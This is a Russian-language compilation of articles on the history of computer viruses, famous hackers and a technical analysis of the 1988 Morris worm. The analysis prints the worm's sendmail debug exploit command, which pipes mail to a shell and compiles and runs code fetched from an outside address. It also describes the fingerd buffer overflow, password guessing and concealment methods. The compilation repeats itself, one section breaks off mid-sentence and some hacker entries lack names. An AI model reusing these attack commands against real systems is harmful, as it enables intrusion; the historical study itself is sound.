2 ноября 1988 года Роберт Моррис – Младший, аспирант Факультета информатики Корнельского Университета инфицировал с помощью написанного им вируса большое количество компьютеров. Вирус изначально разрабатывался как безвредный и имел лишь целью скрытно проникнуть в вычислительные системы, связанные сетью ARPANET (ARPANET в 1989 году официально переименован в Интернет) , и остаться там необнаруженным. Вирус Морриса является представителем вирусного семейства сетевых червей (Internet worm), и представляет собой 60 килобайтную программу, разработанную с расчётом на поражение операционных систем UNIX Berkeley 4.3.

При этом, интересен тот факт, что отец «отца вируса» – Роберт Моррис – Старший в это время занимал должность научного руководителя Национального Центра Компьютерной Безопасности (NCSC – National Computer Security Center) – эксперта по компьютерной безопасности. Моррис - Старший много лет проработал в лаборатории AT&T Bell, где в 60-х годах принимал участие в разработке программ Core Wars. Кстати, инцидент с программой-червем практически никак не сказался на карьере Морриса – Старшего. В начале 1989 года он был избран в специальный консультативный совет при Национальном институте стандартов и министерстве торговли. В задачу этого совета входит выработка заключений и рекомендаций по вопросам безопасности вычислительных систем правительственных органов США, а также решение вопросов, возникающих при разработке и внедрении стандартов защиты информации.

Инцидент с «вирусом Морриса» дал толчок к появлению целой отрасли компьютерной безопасности – компьютерной вирусологии.

По самым скромным оценкам инцидент с вирусом Морриса стоил свыше 8 миллионов часов потери доступа и свыше миллиона часов прямых потерь на восстановление работоспособности систем. Общая стоимость этих затрат оценивается более чем в 98 миллионов долларов. Вирус поразил свыше 6200 компьютеров. В результате вирусной атаки большинство сетей вышло из строя на срок до пяти суток. Компьютеры, выполнявшие коммутационные функции, работавшие в качестве файл-серверов или выполнявшие другие функции обеспечения работы сети, также вышли из строя. Ущерб был бы гораздо больше, если бы вирус изначально создавался с разрушительными целями.

В американских репортажах с места события, опубликованных такими ведущими газетами как Chicago Tribune, New York Times и Boston Herald, широко освещалась динамика распространения вируса и разработки методов борьбы с ним, а также поднимались общие проблемы обеспечения безопасности компьютерных систем. Позднее, в аналитических статьях по этому повод поднимались нерешенные проблемы, относящиеся к вопросам безопасности компьютерных систем, и законодательные инициативы, направленные на предотвращение подобных случаев в дальнейшем. В частности, в палате представителей внесены два проекта законов, предусматривающих уголовное наказание за создание и распространение компьютерных вирусов.



Кроме того, широко обсуждался вопрос о том, как квалифицировать поступок Морриса: является ли Моррис героем-хакером, который без нанесения по-настоящему серьезного ущерба указал на слабые места в национальной компьютерной сети, или он является преступником, который должен быть сурово наказан. В то же время, он уже отчислен из Корнельского университета (с правом подачи заявления на повторное вступление через год). Таким образом, Моррис может вновь подать заявление о поступлении не ранее осени 1990 г. В этом случае вопрос о его поступлении будет решаться администрацией.

«Современная история» компьютерных вирусов.

- ARPANET официально переименован в Интернет .

Появился «троянский конь» AIDS . Вирус делал недоступной всю информацию на жестком диске и высвечивал на экране лишь одну надпись: «Пришлите чек на $189 на такой-то адрес». Автор программы был арестован в момент обналичивания денег и осужден за вымогательство.

Создан вирус для противодействия антивирусному ПО («Темный Мститель» - The Dark Avenger ). Он заражал новые файлы, пока антивирусная программа проверяла жесткий диск компьютера.



Клифф Столл (Cliff Stoll), сотрудник Lawrence Berkeley National Laboratory опубликовал книгу «Кукушкины яйца» (The Cuckoo"s Egg), в которой предостерегал, что всемирная компьютерная сеть может служить не только целям добра, но и активно использоваться военными, преступниками и хулиганами. Столл рекомендовал заблаговременно принять меры для недопущения подобного развития событий.

1990 год (декабрь). В Гамбурге (Германия) был создан Европейский институт компьютерных антивирусных исследований (EICAR). На сегодняшний день он является одной из наиболее уважаемых международных организаций, объединяющей практически все крупные антивирусные компании.

1991 год. Написана программа, предназначенная исключительно для создания вирусов – VCSvl.0.

Вирус SatanBug поражает сотни компьютеров в столице США, Вашингтоне. Страдают даже компьютеры Белого дома. ФБР арестовало автора, им оказался 12-летний подросток.

Зафиксировано появление «бомб замедленного действия» – вирусов, которые активизируются по достижении определенной даты.

1994 год. В Великобритании, США, Норвегии арестованы несколько авторов вирусов. Они отделываются штрафами.

1995 год. Появление макровирусов , рассчитанных на поражение программной среды MS Word.

1999 год. Почтовый вирус Melissa вызвал эпидемию мирового масштаба, поразил десятки тысяч компьютеров и нанес ущерб в $80 млн. После этого инцидента в мире начался обвальный спрос на антивирусные программы. В 2002 году автор Melissa – 33-летний программист Дэвид Смит (David L. Smith) приговорен к 20 месяцам тюремного заключения.

2000 год, май. Рекорд Melissa побил почтовый вирус I Love You! , поразивший миллионы компьютеров в течение нескольких часов. Особенность вируса заключалась в том, что прикрепленный к письму файл с телом вируса активизировался автоматически при открытии пользователем письма для прочтения. Расследование показало, что вирус создал филиппинский студент, который не был осужден из-за отсутствия соответствующих законов в законодательстве Филиппин. В том же году подписано первое международное соглашение о противодействии компьютерным вирусам.

2001 год. Интернет поразил почтовый вирус Anna Kournikova . 20-летний голландец Ян Де Вит (Jan De Wit) был приговорен к 150 часам исправительных работ за создание этого вируса. Суд пришел к выводу, что он не может точно определить размер ущерба, который нанесла «Анна Курникова» экономике Нидерландов. У Де Вита также была конфискована коллекция из 7,5 тыс. вирусов. Де Вит заявил суду, что не имел представления, что написанная им программа окажется вирусом и нанесет кому-либо ущерб.

2002 год. 13 узловых DNS-серверов Интернета, обеспечивающих функционирование Всемирной Сети, подверглись DoS-атаке, организованной при помощи сетевого вируса. Аналитики предупреждают, что хорошо подготовленная и проведенная компьютерная атака может на недели уничтожить Интернет.

2003 год (июль). Рекорды быстроты распространения побил «червь» Slammer , заразивший 75. тыс. компьютеров за 10 минут. В результате активизации вируса-червя Slammer скорость работы сети значительно замедлилась, а некоторые регионы, например, Южная Корея, оказались практически отрезанными от Интернета.

Вирусная атака началась в 0:30 по времени Восточного побережья США или в 8:30 по московскому времени. Где находился источник заражения, до сих пор точно не известно. Некоторые специалисты по компьютерной безопасности предполагают, что вирус распространялся с территории США, другие же считают, что его родина находится где-то в Азии. За считанные минуты червь, использующий уязвимость в СУБД Microsoft SQL Server 2000, наводнил Интернет. Несмотря на малый размер вируса (376 байт ), он смог создать в каналах передачи данных настоящие пробки, поскольку после заражения компьютера он начинает рассылать свой код по случайным IP-адресам в бесконечном цикле. Если по какому-либо из адресов обнаруживался уязвимый компьютер, он заражался и тоже начинал рассылать копии вируса.

Все это привело к крупномасштабному росту трафика. На пике активности червя на один сервер могли приходить сотни запросов в минуту. Не выдержав возросшей нагрузки, некоторые серверы переставали нормально работать. В это время только в США терялось до 20% IP-пакетов, что в десять раз превышает нормальный уровень. По имеющимся данным, от атаки пострадали и пять из тринадцати корневых DNS-серверов.

Об ошибке программного кода в MS SQL Server 2000 стало известно еще летом 2002 г., а исправление к ней содержится в выпущенном Microsoft пакете обновлений Service Pack 3 . Тем не менее за установку патчей администраторы взялись лишь после атаки Slammer. Однако удалось это немногим: сайт Microsoft, откуда только и можно было взять Service Pack, оказался перегружен.

27 января 2004 года. Начало крупномасштабной эпидемии почтового червя Novarg , также известного как Mydoom . Всеми антивирусными компаниями данному червю присвоен максимальный уровень опасности. Количество зараженных писем в интернете исчисляется несколькими миллионами экземпляров.

Червь распространяется через интернет в виде файлов, прикрепленных к зараженным письмам. Червь является приложением Windows (PE EXE-файл), имеет размер 22 528 байт, упакован UPX. Размер распакованного файла около 40KB. Червь активизируется, только если пользователь сам откроет архив и запустит зараженный файл (при двойном щелчке на вложении). Затем червь инсталлирует себя в систему и запускает процедуры своего распространения. Червь содержит в себе "бэкдор"-функцию, открывающую ТСР порты с 3127 по 3198 , что делает возможным удаленное управление зараженной системой, отыскивает почтовые адреса в адресной книге, Outlook, и рассылает себя на эти адреса с помощью собственного SMTP клиента, а также запрограммирован на проведение DoS-атак на сайты www.sco.com и www.microsoft.com.

Ущерб от эпидемии вируса MyDoom (он же Novarq) стал самым большим в истории интернет-эпидемий: он составил 2,6 млрд долларов. Такие оценки содержатся в отчете английских экспертов из компании Mi2g.

3 Мая 2004 года. В Интернет обнаружен новый червь Sasser. Червю был присвоен наивысший рейтинг опасности. По оценкам аналитиков, обычный компьютер, подключенный к Интернет и не обеспеченный средствами защиты, подвергается заражению червем в течении 10 минут.

Sasser распространяется путем использования ошибки переполнения буфера в процессе lsass.exe на системах Windows 2000, XP и 2003 Server. После заражения системы червь начинает использовать ее для атак на другие компьютеры через TCP порт 445.

Червь активизируется без вмешательства пользователя и способен поражать любой компьютер, подключенный к сети, вне зависимости от того, используется он в данный момент или нет. Признаком заражения служат различные сообщения о системных ошибках и самопроизвольная перезагрузка системы.

Дальнейшая история развития компьютерных вирусов тесно переплетается с историей развития вредоносного программного обеспечения в целом. В ней практически отсутствуют какие-либо уникальные творческие находки, зато всё более прослеживается желание лёгкой наживы злоумышленников, использующих данное ПО.

Чем сильнее мы полагаемся на технологии, тем больше потенциальной власти хакеры получают над нами. Неважно, является ли их целью помощь или причинение вреда - эти ребята имеют возможность менять мир по своему усмотрению. Они могут оставаться неуловимыми и всегда быть в тени, и многие хакеры предпочитают именно такую жизнь, но есть несколько по-настоящему гениальных хакеров, имена которых общественности известны.

1. Роберт Тэппэн Моррис

Даже если вы почти ничего не знаете о компьютерных вирусах, всё равно наверняка слышали о так называемых «червях». Первым, кто запустил такой вирус в сеть, был Роберт Тэппэн Моррис.

Аспирант Корнельского университета Моррис создал своего «червя» и 2-го ноября 1988-го года выпустил его в сеть, чем парализовал работу шести тысяч компьютеров в США. Впоследствии он утверждал, что просто хотел посмотреть, насколько разросся интернет, и то, что получилось - последствия вышедшего из-под контроля эксперимента. Однако «червь» оказался кое-чем куда большим, чем просто тест: он читал /etc/passwd, пытаясь подобрать пароли к учётным записям. В конце концов Моррис был оштрафован и приговорён к трём годам условно.

Позднее Моррис стал профессором Гарвардского университета и автором огромного количества разработок в области программного обеспечения. Сегодня он - профессор компьютерных наук в Массачусетском технологическом институте. Неплохая карьера для хакера.

2. Кевин Митник

Всё началось когда Кевину Митнику вдруг захотелось пользоваться общественным транспортом бесплатно.

Митник взломал автобусную систему Лос-Анджелеса с помощью подделки проездного документа. Позже, в возрасте 12-ти лет, он стал телефонным мошенником - сначала забавлялся, перенаправляя сигнал домашнего телефона на таксофон и слушая, как владельцев домашних телефонов перед разговором просят опустить десять центов. Потом просто стал звонить бесплатно куда хотел. А через несколько лет Митника уже разыскивали по всей стране за взлом сети Digital Equipment Corporation и кражу их программ. Это, возможно, был его первый заметный взлом, но позднее парень влез и в сети телефонных гигантов Nokia и Motorola.

ФБР поймало его в 1995-м году после взлома ведущего американского специалиста по компьютерной безопасности Цутому Симомуры. Митник был приговорён к пяти годам лишения свободы, а когда вышел из тюрьмы, стал заниматься вопросами защиты компьютерных систем и основал компанию Defensive Thinking Inc., специализирующуюся на компьютерной безопасности. Он также написал несколько книг о хакерах.

3. Эдриан Ламо

Да, компании иногда нанимают хакеров для тестирования слабостей в своих системах, но никто и никогда не нанимал Эдриана Ламо.

В 2002-м и 2003-м годах Ламо взломал системы нескольких крупных компаний просто ради удовольствия, а после проинформировал компании об ошибках в их системах безопасности. Среди объектов, атакованных хакером, были Microsoft, Yahoo и New York Times, где он добавил свою контактную информацию в базу данных экспертов.

Известный как «бездомный хакер», Ламо чаще всего работал, подключаясь к сети в интернет-кафе и публичных библиотеках. Многие считают, что им двигала жажда славы. Вторжение Ламо в сеть NY Times в 2003-м привлекло к нему внимание противников киберпреступности, он был пойман и приговорён к шести месяцам домашнего ареста и двум годам испытательного срока. Сейчас Ламо работает известным лектором и журналистом, независимым консультантом по безопасности, но при этом избегает любой наёмной офисной работы.

4. Гэри Маккиннон (aka Solo)

Лондонский хакер Гэри Маккиннон шотландского происхождения действовал не столько для удовольствия, сколько преследовал политические цели.

В 2002-м году Маккиннон влез в компьютеры министерства обороны США, армии, флота, ВВС и НАСА. Впоследствии он заявил, что искал доказательства сокрытия информации об НЛО, утаивания информации об альтернативных источниках энергии и о других технологиях, потенциально полезных для общества.

Это не шутка. Маккинон рассказал, что имеет основания полагать, что правительство США скрывает инопланетные технологии, которые могли бы решить глобальный энергетический кризис. Впрочем, хакер-самоучка признаёт, что мог «случайно» удалить целую кучу других файлов и, возможно, повредить некоторые жесткие диски, когда пытался замести следы. Однако он до сих пор настаивает, что ничего особенного не произошло.

Правительство США в свою очередь заявляет, что атака Маккиннона обошлась в $800 000, а также ставит под сомнение, что хакер действительно искал информацию об НЛО. Британские адвокаты, взявшие Гэри под защиту, настаивают, что их клиент, страдающий от синдрома Аспергера, заслуживает особого отношения ввиду нестабильного психического здоровья.

5. (aka Curador)

Рафаэль Грей называл себя праведником и настаивал, что он всего лишь пытался помочь сайтам электронной коммерции, когда взломал их базы данных для кражи номеров кредитных карт и личной информации 26 000 американских, британских и канадских клиентов в 2000-м году.

Затем 18-летний уэльский подросток заявил, что просто пытался привлечь внимание к уязвимостям в системах безопасности. Правда, не до конца понятно, зачем он в таком случае разместил похищенные номера карт в открытом доступе в интернете, но это уже другой вопрос.

В 2001-м году Грей был приговорен к трём годам принудительного психиатрического лечения.

6.

Дрейпера можно без преувеличения назвать дедушкой хакеров. Ещё в начале 1970-х годов он стал считался «королём» телефонных хулиганов - то есть совершал бесплатные звонки. В то время интернет ещё не был распространён и мало у кого имелись персональные компьютеры, так что Дрейпер занимался телефонами.

Хакер выяснил, что игрушечный свисток из коробки кукурузных хлопьев издает звук, похожий на электрический сигнал доступа в телефонную сеть, и придумал способ звонить бесплатно: набирал международный номер и свистел в свисток. Сигнал свистка совпадал с сигналом телефонной сети и сообщал системе о том, что Дрейпер положил трубку. Таким образом, линия считалась свободной, и все дальнейшие действия абонента не фиксировались.

После нескольких опытов Джон вместе со своими друзьями Стивом Возняком и Стивом Джобсом (знакомые имена, не так ли?) создали устройство, названное «Blue Box», позволяющее имитировать звуки телефонной сети и осуществлять бесплатные звонки. Позже Дрейпер написал первый в мире текстовый редактор для IBM PC «EasyWriter». В настоящее время он возглавляет собственную компанию по компьютерной безопасности.

7. (aka Dark Dante)

В 1980-х годах, как раз тогда, когда телефонный фрикинг стал очень популярен в определённых кругах, Поулсен сыграл остроумную шутку с лос-анджелеской радиостанцией KIIS, сфальсифицировав несколько телефонных звонков, позволивших ему выиграть главнее призы - поездку на Гавайи и автомобиль марки Porsche.

Чуть позже хакер взломал базу данных ФБР и получил доступ к засекреченной информации, касающейся прослушивания телефонных разговоров, после чего ФБР начало за ним охоту. В итоге Поулсен был пойман и осуждён на пять лет.

Сейчас он занимает должность главного редактора газеты «Wired News».

8.

В 2007-м году во всей Эстонии внезапно пропал доступ в интернет. Эта «небольшая, но очень технически подкованная» страна обвинила во всём правительство России. Как раз тогда в Эстонии часто случались беспорядки из-за демонтажа советских памятников, так что заподозрить Россию было вполне логично.

Хакеры, ответственные за этот кибертеррор, получили доступ ко всем компьютерам страны и использовали их, перегрузив все серверы. Банкоматы не работали, веб-страницы не открывались, государственные системы пришлось закрыть.

Эстонским чиновникам потребовалось несколько недель, чтобы найти виновных. Оказалось, что переполох устроил некто Дмитрий Галушкевич, 20-летний этнический русский, проживающий в Эстонии. В одиночку он устроил этот переполох или с группой единомышленников, выяснить так и не удалось. Сам Галушкевич был оштрафован на 17 500 крон (около 45 000 рублей).

9. (aka c0mrade)

В списке компьютерных систем, которые должны быть невероятно защищены, чтобы не пробился ни один компьютерный гений, несомненно, почётное место занимает система Министерства Обороны США. Однако американский хакер Джонатан Джеймс эту систему взломал и проник на их сервер. Парню на тот момент было 15 лет.

29-го и 30 июня 1999-го года Джеймс атаковал НАСА. Он смог свободно лазить по всей сети и украсть несколько файлов, включая исходный код международной орбитальной станции. Разумеется, НАСА развернуло масштабную операцию по поимке хакера, и в скором времени Джеймс был пойман. НАСА оценило причинённый ущерб в $ 1,7 млн.

Ввиду того, что Джеймс не был совершеннолетним, он был приговорён всего к шести месяцам заключения, а также был вынужден взять на себя обязательство отказаться от использования компьютеров.

К сожалению, сейчас Джеймса уже нет в живых. Он умер 18-го мая 2008-го года при загадочных обстоятельствах. Официальная причина смерти - самоубийство, но ходят слухи, что несговорчивый хакер был «убран» государственными структурами.

10.

В 2002-м году Deceptive Duo (группировка из двух человек - 20-летнего Бенджамина Старка и 18-летнего Роберта Литтла) совершили ряд громких взломов государственных сетей, в том числе ВМС США, НАСА, ФАА и Департамента обороны.

Как и многие другие хакеры, Старк и Литтл утверждали, что просто хотели указать на уязвимости в системах безопасности и тем самым помочь своей стране. Два хакера оставляли в этих системах сообщения и постили на известных ресурсах адреса электронной почты чиновников и засекреченных правительственных веб-сайтов в попытке привлечь внимание правительства. И привлекли.

В 2006-м году оба хакера признали себя виновными. Старк получил два года условно, Литтл - четыре месяца условно с испытательным сроком три года, и обоим пришлось выплатить десятки тысяч долларов в качестве компенсации за причинённый ущерб.

21 год назад произошло событие навеки впечатавшее себя в историю интернета.

2 ноября 1988 года 99 строк кода вызвали двухдневный шоковый паралич еще молодого и неопытного в делах безопасности интернета.

Около 6000 VAX машин под управлением операционных систем SUN и BSD UNIX оказались зараженными невиданной доселе заразой. Многие администраторы были вынуждены отключить своих подопечных, чтобы хоть как-то остановить перегрузку компьютеров и распространение заразы.
Это был Червь Морриса или в простонародье просто Великий Червь. Из-за разрушительных последствий, которые он оказал на интернет как в плане общего простоя системы, так и психологического воздействия на представление о безопасности и надежности в сети (по аналогии с Великими Червями Толкиена). Неожиданность атаки и некоторые встроенные в червя механизмы вводили многих админов того времени в пограничные эмоциональные состояния. Реакция размазывалась по спектру от «отключить все!» до панического «нас атакуют!»

Создатель и инициатор червя, на тот момент студент Корнельского университета, Роберт Моррис-младший (старший в это время занимался прямо противоположными вещами, он занимал должность научного руководителя NCSC (National Computer Security Center)) запустил своего монстра с компьютера MIT (prep.ai.mit.edu - машина с открытым доступом), чтобы не привлекать внимания к своему университету. Зачем он это сделал - навсегда останется загадкой. По его собственным утверждениям, это был всего лишь эксперимент, вышедший из-под контроля. Впрочем, строго говоря, Червь и не нанес никакого прямого ущерба.

Небольшой список атакованных компьютеров

MIT, Университет штата Миннесота, Северная Каролина, Питтсбургский Университет, машины корпорации RAND, Стэнфорд, Беркли, Университет Карнеги-Меллона, Университет Мэриленда, Университет Пенсильвании, снова Массачусетский Технологический, машины Лаборатории Баллистических Исследований, Университет штата Колорадо и Университет Пурдью а также многие другие.

Векторы атаки Червя

Для распространения червь использовал несколько различных путей, сводящихся к эксплуатированию уязвимостей и простейшему подбору паролей доступа.

Червь состоял из двух частей: загрузчика (99 строк на языке C) и ядра, состоявшего из двух бинарных модулей - кода скомпилированного для BSD и такого же кода только под архитектуру Sun. Имена всех внутренних процедур имели осмысленные названия (например, doit или cracksome), что довольно сильно в дальнейшем облегчило дизассемблирование бинарников.

Червь внедрял свою копию на удаленные компьютеры и запускал ее. Каждый зараженный компьютер стремился заразить и все прочие связанные с ним машины. Червь был заточен для использования в BSD UNIX и SUN-3. Обнаружив, что такие машины подключены к зараженной, червь копировался на удаленный компьютер, запускался там, стремясь получить максимальный доступ к информации (используя ее только для продолжения взлома), и заражал соседние машины. Лавинообразно распространяясь по незащищенной сети червь множил свои копии в полном соответствии с теорией самовоспроизводящихся механизмов, основы которой заложил еще Джон фон Нейман.

Первое время никто ничего не понимал, но уже через несколько часов самые продвинутые админы начали действовать, кто как мог, кто-то отключал своих подопечных от сети и пытался их перезагружать в надежде снять перегрузку (что было совершенно напрасно, так как при перезапуске системы червь создавал еще несколько своих копий и загрузка системы только увеличивалась), кто-то бросался в панику отправляя в списки рассылки послания - «Нас атакуют!» (что тоже было напрасно, так как из-за действий червя списки не работали уже несколько часов), а кто-то искал причины мгновенного распространения червя.

В Беркли уже вечером того же дня понимают, что атака ведется через rsh и sendmail. В качестве меры предосторожности, начинается блокирование сетевых сервисов.

Через некоторое время, осознав масштаб возникшей проблемы Моррис сообщает своим друзьям о вышедшем из-под контроля эксперименте. Через некоторое время появился анонимный постинг в рассылку TCP-IP, вкратце описывающий, как остановить Червя. Автор постинга (Andy Sudduth) послал это сообщение после телефонного разговора с Моррисом, но, из-за перегрузки сетей и компьютеров, письмо не было отослано в течение примерно суток.

В скором времени независимо друг от друга разными людьми стали обнаруживаться векторы атаки червя.

Первым был выпотрошен демон sendmail. Кейт Бостик отправляет предупреждение о Черве и патчи к sendmail в список рассылки TCP-IP, новостную группу 4bsd-ucb-fixes и нескольким системным администраторам.

Червь использовал функцию «debug» демона sendmail, которая устанавливала отладочный режим для текущего сеанса связи. Дополнительная возможность отладочного режима заключается в том, чтобы посылать сообщения, снабженные программой-получателем, которая запускается на удаленной машине и осуществляет прием сообщения. Эта возможность, не предусмотренная протоколом SMTP, использовалась разработчиками для отладки программы и в рабочей версии была оставлена по ошибке.

Через sendmail червь заражал компьютеры двух типов - VAX и Sun, поэтому пересылались двоичные коды для каждой архитектуры, оба запускались, но исполняться мог только один. В компьютерах других архитектур программы не могли функционировать, хотя и поглощали системные ресурсы в момент компиляции.

Несколько часов спустя выяснилось, что заплатки sendmail не помогают, компьютеры заражаются каким-то другим способом. Из-за действий червя MILNET и ARPANET оказываются разъединены.

По прошествии еще нескольких часов разные люди в разных лабораториях независимо друг от друга обнаружили уязвимость и закончили патчи для демона fingerd.

Фрагмент кода fingerd:

{
char buf:
...
gets(buf);
}

Налицо классическая ситуация переполнения буфера (тогда она, видимо, еще не была классикой). Червь передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve («/bin/sh», 0, 0). Указанным способом атаковались только машины VAX с операционной системой 4.3 BSD, на компьютерах Sun такие атаки терпели неудачу.

Но и это еще не все. В никсах как тогда, так и сейчас имеется набор сервисов для удаленного выполнения программ сегодня для подобных целей используется ssh, а тогда его место занимали так называемые r-программы. Наиболее уязвимым местом в них была идея «доверия» - пользователи компьютеров, бывшие в списках «доверенных узлов», имели право запускать свои программы на «доверяющей» машине без какой-либо дополнительной проверки. Кроме того, отношение доверия часто было обоюдным. Червь пытался использовать программу запуска удаленного интерпретатора rsh для атаки других машин с полученным именем и паролем текущего пользователя либо вообще без аутентификации, если атакуемая машина «доверяла» данной.

Итак, Червь проникал на соседние с зараженной машины, используя дыру в sendmail, дыру в fingerd или «доверие» и rsh. При проникновении на атакуемый компьютер забрасывался загрузчик, команда на компиляцию и выполнение загрузчика, и стирание всех временных файлов. Затем загрузчик втягивал все три файла и пытался запустить сначала одно, потом другое тело. Если ни одно из двух тел не запускалось, загрузчик просто стирал и их, и себя, и прекращал работу.

Запустившись, Червь всячески маскировался - стирал свой выполняемый файл, шифровал оба тела, читал их в память, а с диска тоже стирал, и, насколько это возможно, модифицировал информацию о себе в таблице процессов.

Затем, собиралась информация о сетевых интерфейсах зараженного компьютера и о соседних компьютерах, и часть соседей подвергалась попыткам заражения. Те, которых удалось заразить, помечались как зараженные; те, которые заразить не удалось - как «иммунные». Хотя здесь в коде червя специалисты склонны усматривать ошибку, так как участок кода отвечающий за предотвращение повторного заражения машин содержал много ошибок.

Это имело ключевое значение для жизнестойкости червя: многие машины заражались повторно, нагрузка на системы и сеть увеличивалась и становилась весьма ощутимой, часто приводящей к отказу в обслуживании, в результате чего червь собственно и был обнаружен и обезврежен намного быстрей, чем если бы повторных заражений не было, хотя многократно зараженные машины распространяли червь быстрее, вероятно, пропорционально числу копий червь на машине, что и повлияло на молниеносность распространения, а отказы в обслуживании привели к панике и выходу из строя некоторых ключевых узлов, в результате чего сеть на время развалилась на подсети.

Подбор паролей осуществлялся довольно простым, но, в то же время, эффективным способом: использовалось четыре вариации на тему login пользователя, а также, список из примерно 200-400 слов. По некоторых сведениям, на отдельных компьютерах больше половины паролей были вскрыты таким образом.

Уже к вечеру 5 ноября основная масса зараженных узлов была вылечена, заплатки наложены, а в Беркли спецы вовсю препарировали бездыханную тушку Червя.

К моменту, когда в ФБР поняли, кто виновен в произошедшем, Моррис уже шел сдаваться с повинной.

След в истории

Для компьютерного сообщества это был шок. Были пересмотрены фундаментальные основы компьютерной безопасности. Ущерб, принесенный Червем Морриса был оценён примерно в 100 миллионов долларов (к таким оценкам следует относиться весьма и весьма осторожно, поскольку каковы методы их оценки, какие параметры считают, а какие нет - неизвестно).

По некоторым данным, Червь это единственная в истории компьютерная программа, потеснившая на первых полосах материалы о президентских выборах в США. Многие институты и организации на несколько недель и даже месяцев отключились от Интернета. Администраторы, не представляя о реальных масштабах опасности, решили перестраховаться.

Наиболее разумной мерой противодействия взлому, спровоцированной Червем, явилось образование

2 ноября 1988 года сеть ARPANET была атакована программой, впоследствии получившей название «червь Морриса» - по имени его создателя, студента Корнельского университета Роберта Морриса-младшего. Сеть ARPANET (Advanced Research Projects Agency Network) была создана в 1969 году по инициативе Управления перспективных исследований Министерства Обороны США (DARPA, Defense Advanced Research Projects Agency) и явившаяся прототипом сети Интернет. Эта сеть создавалась в интересах исследователей в области вычислительной техники и технологии для обмена сообщениями, а также программами и массивами данных между крупнейшими исследовательскими центрами, лабораториями, университетами, государственными организациями и частными фирмами, выполняющими работы в интересах Министерства Обороны США (DoD, Department of Defence of USA). Именно по заказу DoD был разработан один из трех наиболее распространенных протоколов транспортного уровня модели OSI, получивший название TCP/IP, который в 1983 году стал основным в ARPANET. К концу 80-х годов сеть насчитывала несколько десятков тысяч ЭВМ. ARPANET прекратила своё существование в июне 1990 года.
«Червь Морриса» был первым в истории развития вычислительной техники образцом вредоносного программного обеспечения, который использовал механизмы автоматического распространения по сети. Для этого использовалось несколько уязвимостей сетевых сервисов, а так же некоторые слабые места компьютерных систем, обусловленные недостаточным вниманием к вопросам безопасности в то время.

По словам Роберта Морриса, червь был создан в исследовательских целях. Его код не содержал в себе никакой «полезной» нагрузки (деструктивных функций). Тем не менее, из-за допущенных ошибок в алгоритмах работы, распространение червя спровоцировало так называемый «отказ в обслуживании», когда ЭВМ были заняты выполнением многочисленных копий червя и переставали реагировать на команды операторов. «Червь Морриса» практически парализовал работу компьютеров в сети ARPANET на срок до пяти суток. Оценка простоя - минимум 8 миллионов часов и свыше 1 миллиона часов временных затрат на восстановление работоспособности систем. Общие убытки в денежном эквиваленте оценивались в 98 миллионов долларов, они складывались их прямых и косвенных потерь.
К прямым потерям относились (32 миллиона долларов):
остановка, тестирование и перезагрузка 42700 машин;
идентификация червя, удаление, чистка памяти и восстановление работоспособности 6200 машин;
анализ кода червя, дизассемблирование и документирование;
исправление UNIX-систем и тестирование.
К косвенным потерям были отнесены (66 миллионов долларов):
потери машинного времени в результате отсутствия доступа к сети;
потери доступа пользователей к сети.
Впрочем, к этим оценкам нужно относится весьма и весьма осторожно.
Структурно червь состоял из трех частей - «головы» и двух «хвостов». «Голова» представляла собой исходный текст на языке C (99 строк) и компилировалась непосредственно на удаленной машине. «Хвосты» были идентичными, с точки зрения исходного кода и алгоритмов, бинарными файлами, но скомпилированными под разные типы архитектур. По замыслу Морриса в качестве целевых аппаратных платформ были выбраны VAX и SUN. «Голова» забрасывалась при помощи следующих методов:

  • использование отладочного режима в sendmail;
  • использование уязвимости типа «переполнение буфера» в сетевом сервисе fingerd;
  • подбор логина и пароля для удаленного выполнения программ (rexec);
  • вызов удаленного командного интерпретатора (rsh) путем подбора логина и пароля или используя механизм доверия.
Sendmail - самый старый сетевой сервис, обрабатывающий прием и отправку почты по протоколу SMTP. Во времена распространения червя, в Sendmail имелась недокументированная возможность - разработчиками был запрограммирован отладочный режим, который не должен был находится в рабочей версии программы и был оставлен по ошибке. Одна из возможностей отладочного режима заключалась в том, чтобы почтовое сообщение обрабатывалось не самим Sendmail, а другой программой. Пример почтового сообщения, отправляемого червем:
debug
mail from:
rcptto:<"|sed-e "1,/^$/d" | /bin/sh; exit 0">
data
cd /usr/tmp
cat >x14481910.с <<"EOF"
<текст программы l1.c>
EOF
cc -о х14481910 х14481910.с; х14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c
.
quit
Как видно, из тела письма убирались заголовки (при помощи текстового препроцессора sed) и производилось сохранение файла исходного кода «головы». Далее командному процессору давались инструкции на компилирование кода «головы», запуск получившегося исполняемого файла и стирание временных файлов.
Для эксплуатации уязвимости сервиса fingerd, червь передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve("/bin/sh", 0, 0). Это срабатывало только для компьютеров VAX с установленной ОС 4.3BSD, на компьютерах SUN под управлением SunOS данной уязвимости не было.
Для использования метода распространения через rexec и rsh собирался список пользователей локальной машины. На его основе производился подбор наиболее часто используемых паролей, в надежде что многие пользователи имеют одинаковые имена и пароли на всех машинах в сети, что впрочем оказалось недалеким от истины. Помимо подбора в rsh использовался механизм доверия, или по другому механизм упрощенной аутентификации по IP адресу удаленной машины. Такие адреса хранились в файлах /etc/hosts.equiv и.rhosts. Для большинства компьютеров доверие было взаимным, так что с большой долей вероятности, перечень IP адресов из этих файлов, найденных червем, позволял осуществить вход в удаленную систему через rsh вообще не используя пароль
При подборе червь пробовал следующие варианты паролей:
  • пустой;
  • имя пользователя (user);
  • имя пользователя, написанное наоборот (resu);
  • двойной повтор имени пользователя (useruser);
  • имя или фамилия пользователя (John, Smith);
  • имя или фамилия пользователя в нижнем регистре (john, smith);
  • встроенный словарь размером 432 слова;
  • файл /usr/dict/words, содержащий около 24000 слов и используемый в системе 4.3BSD (и других) как орфографический словарь. Если слово начинается с прописной буквы, то проверялся и вариант со строчной буквой.
Комплексное использование нескольких методов распространения значительно повлияло на массовое распространение червя в сети. Для поиска удаленных компьютеров производилось сканирование сети на основе информации из таблицы маршрутов и собственного IP адреса зараженной системы.
Червь использовал несколько приемов для затруднения своего обнаружения администраторами компьютеров:
  • удаление своего исполняемого файла после запуска;
  • отключались все сообщения об ошибках, а размер аварийного дампа устанавливался в ноль;
  • исполняемый файл червя сохранялся под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, таким образом, червь маскировался в списке процессов;
  • примерно каждые три минуты порождался дочерний поток, а родительский завершался, при этом происходило постоянное изменение pid процесса червя и обнулялось время работы, показываемое в списке процессов;
